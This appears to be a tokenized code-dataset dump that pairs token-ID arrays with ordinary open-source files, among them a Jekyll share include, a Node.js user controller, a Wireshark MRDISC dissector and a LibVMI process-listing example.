[ 30522, 1001, 2065, 13629, 2546, 1035, 1035, 1040, 3654, 21572, 2278, 1035, 1044, 1001, 9375, 1035, 30524, 1044, 1000, 1001, 9375, 1040, 3654, 1035, 16483, 1035, 3229, 1014, 2595, 8889, 8889, 8889, 24096, 1001, 9375, 1040, 3654, 1035, 6039, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<div> {% if site.fb-share %} <div style="float:left; padding: 0 5px; vertical-align:top"> <div class="fb-share-button" data-href="{{ site.url }}{{ page.url }}" data-layout="button_count"></div> </div> {% endif %} {% if site.twitter-share %} <div style="float:left; padding: 0 5px; vertical-align:top"> <a href="https://twitter.com/share" class="twitter-share-button" data-url="{{ site.url }}{{ page.url }}" data-text="{{ page.title }} {% for tag in page.tags%}#{{ tag }} {% endfor %}"></a> </div> {% endif %} {% if site.reddit-share %} <div style="float:left; padding: 0 5px; vertical-align:top"> <script type="text/javascript">reddit_newwindow='1'</script> <script type="text/javascript">reddit_title='{{ page.title }}'</script> <script type="text/javascript">reddit_url='{{ site.url }}/{{ page.url }}'</script> <script type="text/javascript" src="//www.redditstatic.com/button/button1.js"></script> </div> {% endif %} </div>
chmullig/chmullig.github.io
_includes/share.html
HTML
mit
963
[ 30522, 1026, 4487, 2615, 1028, 1063, 1003, 2065, 2609, 1012, 1042, 2497, 1011, 3745, 1003, 1065, 1026, 4487, 2615, 2806, 1027, 1000, 14257, 1024, 2187, 1025, 11687, 4667, 1024, 1014, 1019, 2361, 2595, 1025, 7471, 1011, 25705, 1024, 2327, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<?php /** * Front Page Template * * Child Theme Name: OBM-Genesis-Child * Author: Orange Blossom Media * Url: https://orangeblossommedia.com/ * * @package OBM-Genesis-Child */ // Execute custom home page. If no widgets active, then loop. add_action( 'genesis_meta', 'obm_custom_homepage' ); /** * Controls display of homepage */ function obm_custom_homepage() { add_filter( 'genesis_pre_get_option_site_layout', '__genesis_return_full_width_content' ); // Remove default page content. remove_action( 'genesis_loop', 'genesis_do_loop' ); add_action( 'genesis_loop', 'obm_do_home_loop' ); } /** * Creates a custom loop for the homepage content. */ function obm_do_home_loop() { } genesis();
davidlaietta/obm-genesis-child
front-page.php
PHP
gpl-3.0
713
[ 30522, 1026, 1029, 25718, 1013, 1008, 1008, 1008, 2392, 3931, 23561, 1008, 1008, 2775, 4323, 2171, 1024, 27885, 2213, 1011, 11046, 1011, 2775, 1008, 3166, 1024, 4589, 20593, 2865, 1008, 24471, 2140, 1024, 16770, 1024, 1013, 1013, 4589, 1655...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<!DOCTYPE html> <!--[if IE 8]><html class="no-js lt-ie9" lang="en" > <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en" > <!--<![endif]--> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Miruken Docs &mdash; SymbolDownloader documentation</title> <link rel="stylesheet" href="_static/css/theme.css" type="text/css" /> <link rel="stylesheet" href="_static/banner.css" type="text/css" /> <link rel="index" title="Index" href="genindex.html"/> <link rel="search" title="Search" href="search.html"/> <link rel="top" title="SymbolDownloader documentation" href="index.html"/> <script src="_static/js/modernizr.min.js"></script> </head> <body class="wy-body-for-nav" role="document"> <div class="wy-grid-for-nav"> <nav data-toggle="wy-nav-shift" class="wy-nav-side"> <div class="wy-side-scroll"> <div class="wy-side-nav-search"> <a href="index.html" class="icon icon-home"> SymbolDownloader </a> <div role="search"> <form id="rtd-search-form" class="wy-form" action="search.html" method="get"> <input type="text" name="q" placeholder="Search docs" /> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> </div> </div> <div class="wy-menu wy-menu-vertical" data-spy="affix" role="navigation" aria-label="main navigation"> <p class="caption"><span class="caption-text">Table of Contents</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="article/en-US/install.html">Install</a></li> <li class="toctree-l1"><a class="reference internal" href="article/en-US/usage.html">Usage</a></li> <li class="toctree-l1"><a class="reference internal" href="article/en-US/configuration.html">Configuration</a></li> <li class="toctree-l1"><a class="reference internal" href="article/en-US/teamCity.html">Team City</a></li> </ul> </div> </div> </nav> <section data-toggle="wy-nav-shift" class="wy-nav-content-wrap"> <nav class="wy-nav-top" role="navigation" aria-label="top navigation"> <i data-toggle="wy-nav-top" class="fa fa-bars"></i> <a href="index.html">SymbolDownloader</a> </nav> <div class="wy-nav-content"> <div class="rst-content"> <div role="navigation" aria-label="breadcrumbs navigation"> <ul class="wy-breadcrumbs"> <li><a href="index.html">Docs</a> &raquo;</li> <li>Miruken Docs</li> <li class="wy-breadcrumbs-aside"> <a href="_sources/README.rst.txt" rel="nofollow"> View page source</a> </li> </ul> <hr/> </div> <div role="main" class="document" itemscope="itemscope" itemtype="http://schema.org/Article"> <div itemprop="articleBody"> <div class="section" id="miruken-docs"> <h1>Miruken Docs<a class="headerlink" href="#miruken-docs" title="Permalink to this headline">¶</a></h1> <blockquote> <div>View the docs <a class="reference external" href="http://miruken-dotnet-miruken.readthedocs.io/">here</a></div></blockquote> <div class="section" id="restructuredtext-rest"> <h2>reStructuredText (reST)<a class="headerlink" href="#restructuredtext-rest" title="Permalink to this headline">¶</a></h2> <p>This documentation is written with <a class="reference external" href="http://docutils.sourceforge.net/docs/user/rst/quickstart.html">reStructuredText</a> and <a class="reference external" href="http://www.sphinx-doc.org/">Sphinx</a></p> <p>How to include source code in docs</p> <ul class="simple"> <li><a class="reference external" href="http://docutils.sourceforge.net/docs/ref/rst/directives.html#include">http://docutils.sourceforge.net/docs/ref/rst/directives.html#include</a></li> <li><a class="reference external" href="http://sphinx.readthedocs.io/en/stable/markup/code.html#directive-literalinclude">http://sphinx.readthedocs.io/en/stable/markup/code.html#directive-literalinclude</a></li> </ul> </div> <div class="section" id="readthedocs"> <h2>ReadTheDocs<a class="headerlink" href="#readthedocs" title="Permalink to this headline">¶</a></h2> <p>This documentation is built and hosted with www.ReadTheDocs.io</p> </div> </div> </div> <div class="articleComments"> </div> </div> <footer> <hr/> <div role="contentinfo"> <p> &copy; Copyright 2017, Michael Dudley. </p> </div> Built with <a href="http://sphinx-doc.org/">Sphinx</a> using a <a href="https://github.com/snide/sphinx_rtd_theme">theme</a> provided by <a href="https://readthedocs.org">Read the Docs</a>. </footer> </div> </div> </section> </div> <div class="rst-versions" data-toggle="rst-versions" role="note" aria-label="versions"> <span class="rst-current-version" data-toggle="rst-current-version"> <span class="fa fa-book"> Other Versions</span> v: master <span class="fa fa-caret-down"></span> </span> <div class="rst-other-versions"> <dl> <dt>Branches</dt> <dd><a href="../develop/README.html">develop</a></dd> <dd><a href="README.html">master</a></dd> </dl> </div> </div> <script type="text/javascript"> var DOCUMENTATION_OPTIONS = { URL_ROOT:'./', VERSION:'', COLLAPSE_INDEX:false, FILE_SUFFIX:'.html', HAS_SOURCE: true, SOURCELINK_SUFFIX: '.txt' }; </script> <script type="text/javascript" src="_static/jquery.js"></script> <script type="text/javascript" src="_static/underscore.js"></script> <script type="text/javascript" src="_static/doctools.js"></script> <script type="text/javascript" src="_static/js/theme.js"></script> <script type="text/javascript"> jQuery(function () { SphinxRtdTheme.StickyNav.enable(); }); </script> </body> </html>
miruken/miruken.github.io
documentation/versions/miruken-dotnet/SymbolDownloader/master/README.html
HTML
mit
6,509
[ 30522, 1026, 999, 9986, 13874, 16129, 1028, 1026, 999, 1011, 1011, 1031, 2065, 29464, 1022, 1033, 1028, 1026, 16129, 2465, 1027, 1000, 2053, 1011, 1046, 30524, 999, 1011, 1011, 1031, 2065, 14181, 29464, 1022, 1033, 1028, 1026, 999, 1011, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/** * Copyright (c) 2015-present, Facebook, Inc. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @providesModule takeSnapshot * @flow */ 'use strict'; const UIManager = require('UIManager'); const findNumericNodeHandle = require('findNumericNodeHandle'); /** * Capture an image of the screen, window or an individual view. The image * will be stored in a temporary file that will only exist for as long as the * app is running. * * The `view` argument can be the literal string `window` if you want to * capture the entire window, or it can be a reference to a specific * React Native component. * * The `options` argument may include: * - width/height (number) - the width and height of the image to capture. * - format (string) - either 'png' or 'jpeg'. Defaults to 'png'. * - quality (number) - the quality when using jpeg. 0.0 - 1.0 (default). * * Returns a Promise. * @platform ios */ function takeSnapshot( view?: 'window' | React$Element<any> | number, options?: { width?: number, height?: number, format?: 'png' | 'jpeg', quality?: number, }, ): Promise<any> { if (typeof view !== 'number' && view !== 'window') { view = findNumericNodeHandle(view) || 'window'; } // Call the hidden '__takeSnapshot' method; the main one throws an error to // prevent accidental backwards-incompatible usage. return UIManager.__takeSnapshot(view, options); } module.exports = takeSnapshot;
yangshun/react
src/renderers/native/takeSnapshot.js
JavaScript
bsd-3-clause
1,528
[ 30522, 1013, 1008, 1008, 1008, 9385, 1006, 1039, 1007, 2325, 1011, 2556, 1010, 9130, 1010, 4297, 1012, 1008, 1008, 2023, 3120, 3642, 2003, 7000, 2104, 1996, 10210, 6105, 2179, 1999, 1996, 1008, 6105, 5371, 1999, 1996, 7117, 14176, 1997, 2...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
#include "daku.h" namespace daku { void bigBang() { av_register_all(); } }
dokidaku/libdaku
daku.cpp
C++
gpl-2.0
82
[ 30522, 1001, 2421, 1000, 4830, 5283, 1012, 1044, 1000, 3415, 15327, 4830, 5283, 1063, 11675, 2502, 25153, 1006, 1007, 1063, 20704, 1035, 4236, 1035, 2035, 1006, 1007, 1025, 1065, 1065, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
const userDao = require('../dao/user'), tokenDao = require('../dao/token'), appDao = require('../dao/app'), tokenRedisDao = require('../dao/redis/token'), userRedisDao = require('../dao/redis/user'), passport = require('../service/passport'), STATUS = require('../common/const').STATUS, ERROR = require('../common/error.map'); var create = async function(ctx, next) { var body = ctx.request.body; var app = ctx.get('app'); var user = await userDao.findUserByMobile(body.mobile); if (user && user.apps && user.apps.length !== 0 && user.apps.indexOf(app) !== -1) { throw ERROR.USER.EXIST; } else if (user) { await userDao.addApp(user._id, app); } else { user = await userDao.createUserByMobile(body.mobile, app); } var results = await Promise.all([ passport.encrypt(body.password), userRedisDao.incTotal(app) ]); var password = results[0]; var shortId = results[1]; await appDao.create(app, user._id, password, shortId); ctx.user = user.toJSON() ctx.user.user_short_id = shortId; ctx.logger.info(`用户 ${body.mobile} 注册app ${app}`) await next() }; var getInfo = async function(ctx, next) { var user = await userDao.getInfo(ctx.oauth.user_id, ctx.oauth.app); ctx.result = { user_id: user._id, mobile: user.mobile, chance: user.chance }; }; var updatePassword = async function(ctx, next) { var body = ctx.request.body; var appInfo = await appDao.find(ctx.oauth.app, ctx.oauth.user_id); if (!appInfo || !appInfo.password) { throw ERROR.USER.NOT_EXIST; } if (appInfo.status !== STATUS.USER.ACTIVE) { throw ERROR.USER.NOT_ACTIVE; } var result = await passport.validate(body.old_password, appInfo.password); if (!result) { throw ERROR.OAUTH.PASSWORD_ERROR; } var newPasswordHash = await passport.encrypt(body.new_password); await appDao.updatePassword(appInfo._id, newPasswordHash); ctx.logger.info(`用户 ${ctx.oauth.user_id} 修改密码`); await next(); }; var resetPassword = async function(ctx, next) { var body = ctx.request.body; var app = ctx.get('app'); var userInfo = await userDao.findUserByMobile(body.mobile); if (!userInfo) { throw ERROR.USER.NOT_EXIST; } var appInfo = await appDao.find(app, userInfo._id); if (!appInfo || !appInfo.password) { throw ERROR.USER.NOT_EXIST; } if (appInfo.status !== STATUS.USER.ACTIVE) { throw ERROR.USER.NOT_ACTIVE; } var passwordHash = await passport.encrypt(body.password); await appDao.updatePassword(appInfo._id, passwordHash); ctx.logger.info(`用户 ${body.mobile} 重置密码 app ${app}`); await next(); //强制用户登出 var expiredToken = await tokenDao.delToken(app, userInfo._id); tokenRedisDao.delToken(expiredToken.access_token); tokenRedisDao.delToken(expiredToken.refresh_token); }; module.exports = { create, getInfo, updatePassword, resetPassword }
mane115/ucenter
controller/user.js
JavaScript
mit
3,072
[ 30522, 9530, 3367, 5310, 2850, 2080, 1027, 5478, 1006, 1005, 1012, 1012, 1013, 4830, 2080, 1013, 5310, 1005, 1007, 1010, 19204, 2850, 2080, 1027, 5478, 1006, 1005, 1012, 1012, 1013, 4830, 2080, 1013, 19204, 1005, 1007, 1010, 10439, 2850, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* packet-mrdisc.c 2001 Ronnie Sahlberg <See AUTHORS for email> * Routines for IGMP/MRDISC packet disassembly * * Wireshark - Network traffic analyzer * By Gerald Combs <gerald@wireshark.org> * Copyright 1998 Gerald Combs * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ /* MRDISC code 0x24 x 0x25 x 0x26 x MRDISC : IGMP Multicast Router DISCovery Defined in draft-ietf-idmr-igmp-mrdisc-06.txt TTL==1 and IP.DST==224.0.0.2 for all packets. */ #include "config.h" #include <glib.h> #include <epan/packet.h> #include <epan/exceptions.h> #include "packet-igmp.h" #include "packet-mrdisc.h" void proto_register_mrdisc(void); static int proto_mrdisc = -1; static int hf_checksum = -1; static int hf_checksum_bad = -1; static int hf_type = -1; static int hf_advint = -1; static int hf_numopts = -1; static int hf_options = -1; static int hf_option = -1; static int hf_option_len = -1; static int hf_qi = -1; static int hf_rv = -1; static int hf_option_bytes = -1; static int ett_mrdisc = -1; static int ett_options = -1; #define MRDISC_MRA 0x24 #define MRDISC_MRS 0x25 #define MRDISC_MRT 0x26 static const value_string mrdisc_types[] = { {MRDISC_MRA, "Multicast Router Advertisement"}, {MRDISC_MRS, "Multicast Router Solicitation"}, {MRDISC_MRT, "Multicast Router Termination"}, {0, NULL} }; #define MRDISC_QI 0x01 #define MRDISC_RV 0x02 static const value_string mrdisc_options[] = { {MRDISC_QI, "Query Interval"}, {MRDISC_RV, "Robustness Variable"}, {0, NULL} }; static int dissect_mrdisc_mra(tvbuff_t *tvb, packet_info *pinfo, proto_tree *parent_tree, int offset) { guint16 num; /* Advertising Interval */ proto_tree_add_item(parent_tree, hf_advint, tvb, offset, 1, ENC_BIG_ENDIAN); offset += 1; /* checksum */ igmp_checksum(parent_tree, tvb, hf_checksum, hf_checksum_bad, pinfo, 0); offset += 2; /* skip unused bytes */ offset += 2; /* number of options */ num = tvb_get_ntohs(tvb, offset); proto_tree_add_uint(parent_tree, hf_numopts, tvb, offset, 2, num); offset += 2; /* process any options */ while (num--) { proto_tree *tree; proto_item *item; guint8 type,len; int old_offset = offset; item = proto_tree_add_item(parent_tree, hf_options, tvb, offset, -1, ENC_NA); tree = proto_item_add_subtree(item, ett_options); type = tvb_get_guint8(tvb, offset); proto_tree_add_uint(tree, hf_option, tvb, offset, 1, type); offset += 1; len = tvb_get_guint8(tvb, offset); proto_tree_add_uint(tree, hf_option_len, tvb, offset, 1, len); offset += 1; switch (type) { case MRDISC_QI: if (item) { proto_item_set_text(item,"Option: %s == %d", val_to_str(type, mrdisc_options, "unknown %x"), tvb_get_ntohs(tvb, offset)); } if (len != 2) THROW(ReportedBoundsError); proto_tree_add_item(tree, hf_qi, tvb, offset, len, ENC_BIG_ENDIAN); offset += len; break; case MRDISC_RV: if (item) { proto_item_set_text(item,"Option: %s == %d", val_to_str(type, mrdisc_options, "unknown %x"), tvb_get_ntohs(tvb, offset)); } if (len != 2) THROW(ReportedBoundsError); proto_tree_add_item(tree, hf_rv, tvb, offset, len, ENC_BIG_ENDIAN); offset += len; break; default: if (item) { proto_item_set_text(item,"Option: unknown"); } proto_tree_add_item(tree, hf_option_bytes, tvb, offset, len, ENC_NA); offset += len; } if (item) { proto_item_set_len(item, offset-old_offset); } } return offset; } static int dissect_mrdisc_mrst(tvbuff_t *tvb, packet_info *pinfo, proto_tree *parent_tree, int offset) { /* skip reserved byte */ offset += 1; /* checksum */ igmp_checksum(parent_tree, tvb, hf_checksum, hf_checksum_bad, pinfo, 0); offset += 2; return offset; } /* This function is only called from the IGMP dissector */ int dissect_mrdisc(tvbuff_t *tvb, packet_info *pinfo, proto_tree *parent_tree, int offset) { proto_tree *tree; proto_item *item; guint8 type; if (!proto_is_protocol_enabled(find_protocol_by_id(proto_mrdisc))) { /* we are not enabled, skip entire packet to be nice to the igmp layer. (so clicking on IGMP will display the data) */ return offset+tvb_length_remaining(tvb, offset); } item = proto_tree_add_item(parent_tree, proto_mrdisc, tvb, offset, 0, ENC_NA); tree = proto_item_add_subtree(item, ett_mrdisc); col_set_str(pinfo->cinfo, COL_PROTOCOL, "MRDISC"); col_clear(pinfo->cinfo, COL_INFO); type = tvb_get_guint8(tvb, offset); col_add_str(pinfo->cinfo, COL_INFO, val_to_str(type, mrdisc_types, "Unknown Type:0x%02x")); /* type of command */ proto_tree_add_uint(tree, hf_type, tvb, offset, 1, type); offset += 1; switch (type) { case MRDISC_MRA: offset = dissect_mrdisc_mra(tvb, pinfo, tree, offset); break; case MRDISC_MRS: case MRDISC_MRT: /* MRS and MRT packets looks the same */ offset = dissect_mrdisc_mrst(tvb, pinfo, tree, offset); break; } return offset; } void proto_register_mrdisc(void) { static hf_register_info hf[] = { { &hf_type, { "Type", "mrdisc.type", FT_UINT8, BASE_HEX, VALS(mrdisc_types), 0, "MRDISC Packet Type", HFILL }}, { &hf_checksum, { "Checksum", "mrdisc.checksum", FT_UINT16, BASE_HEX, NULL, 0, "MRDISC Checksum", HFILL }}, { &hf_checksum_bad, { "Bad Checksum", "mrdisc.checksum_bad", FT_BOOLEAN, BASE_NONE, NULL, 0x0, "Bad MRDISC Checksum", HFILL }}, { &hf_advint, { "Advertising Interval", "mrdisc.adv_int", FT_UINT8, BASE_DEC, NULL, 0, "MRDISC Advertising Interval in seconds", HFILL }}, { &hf_numopts, { "Number Of Options", "mrdisc.num_opts", FT_UINT16, BASE_DEC, NULL, 0, "MRDISC Number Of Options", HFILL }}, { &hf_options, { "Options", "mrdisc.options", FT_NONE, BASE_NONE, NULL, 0, "MRDISC Options", HFILL }}, { &hf_option, { "Option", "mrdisc.option", FT_UINT8, BASE_DEC, VALS(mrdisc_options), 0, "MRDISC Option Type", HFILL }}, { &hf_option_len, { "Length", "mrdisc.opt_len", FT_UINT8, BASE_DEC, NULL, 0, "MRDISC Option Length", HFILL }}, { &hf_qi, { "Query Interval", "mrdisc.query_int", FT_UINT16, BASE_DEC, NULL, 0, "MRDISC Query Interval", HFILL }}, { &hf_rv, { "Robustness Variable", "mrdisc.rob_var", FT_UINT16, BASE_DEC, NULL, 0, "MRDISC Robustness Variable", HFILL }}, { &hf_option_bytes, { "Data", "mrdisc.option_data", FT_BYTES, BASE_NONE, NULL, 0, "MRDISC Unknown Option Data", HFILL }}, }; static gint *ett[] = { &ett_mrdisc, &ett_options, }; proto_mrdisc = proto_register_protocol("Multicast Router DISCovery protocol", "MRDISC", "mrdisc"); proto_register_field_array(proto_mrdisc, hf, array_length(hf)); proto_register_subtree_array(ett, array_length(ett)); }
jfzazo/wireshark-hwgen
src/epan/dissectors/packet-mrdisc.c
C
gpl-2.0
7,411
[ 30522, 1013, 1008, 14771, 1011, 2720, 10521, 2278, 1012, 1039, 2541, 11688, 7842, 7317, 4059, 1026, 2156, 6048, 2005, 10373, 1028, 1008, 23964, 2005, 1045, 21693, 2361, 1013, 2720, 10521, 2278, 14771, 4487, 20939, 3366, 14905, 2135, 1008, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
#!/usr/bin/env python """ The LibVMI Library is an introspection library that simplifies access to memory in a target virtual machine or in a file containing a dump of a system's physical memory. LibVMI is based on the XenAccess Library. Copyright 2011 Sandia Corporation. Under the terms of Contract DE-AC04-94AL85000 with Sandia Corporation, the U.S. Government retains certain rights in this software. Author: Bryan D. Payne (bdpayne@acm.org) This file is part of LibVMI. LibVMI is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. LibVMI is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with LibVMI. If not, see <http://www.gnu.org/licenses/>. """ import pyvmi import sys def get_processes(vmi): tasks_offset = vmi.get_offset("win_tasks") name_offset = vmi.get_offset("win_pname") - tasks_offset pid_offset = vmi.get_offset("win_pid") - tasks_offset list_head = vmi.read_addr_ksym("PsInitialSystemProcess") next_process = vmi.read_addr_va(list_head + tasks_offset, 0) list_head = next_process while True: procname = vmi.read_str_va(next_process + name_offset, 0) pid = vmi.read_32_va(next_process + pid_offset, 0) next_process = vmi.read_addr_va(next_process, 0) if (pid < 1<<16): yield pid, procname if (list_head == next_process): break def main(argv): vmi = pyvmi.init(argv[1], "complete") for pid, procname in get_processes(vmi): print "[%5d] %s" % (pid, procname) if __name__ == "__main__": main(sys.argv)
jie-lin/libvmi
tools/pyvmi/examples/process-list.py
Python
gpl-3.0
1,982
[ 30522, 1001, 999, 1013, 2149, 2099, 1013, 8026, 1013, 4372, 2615, 18750, 1000, 1000, 1000, 1996, 5622, 2497, 2615, 4328, 3075, 2003, 2019, 17174, 13102, 18491, 3075, 2008, 21934, 24759, 14144, 3229, 2000, 3638, 1999, 1037, 4539, 7484, 3698,...
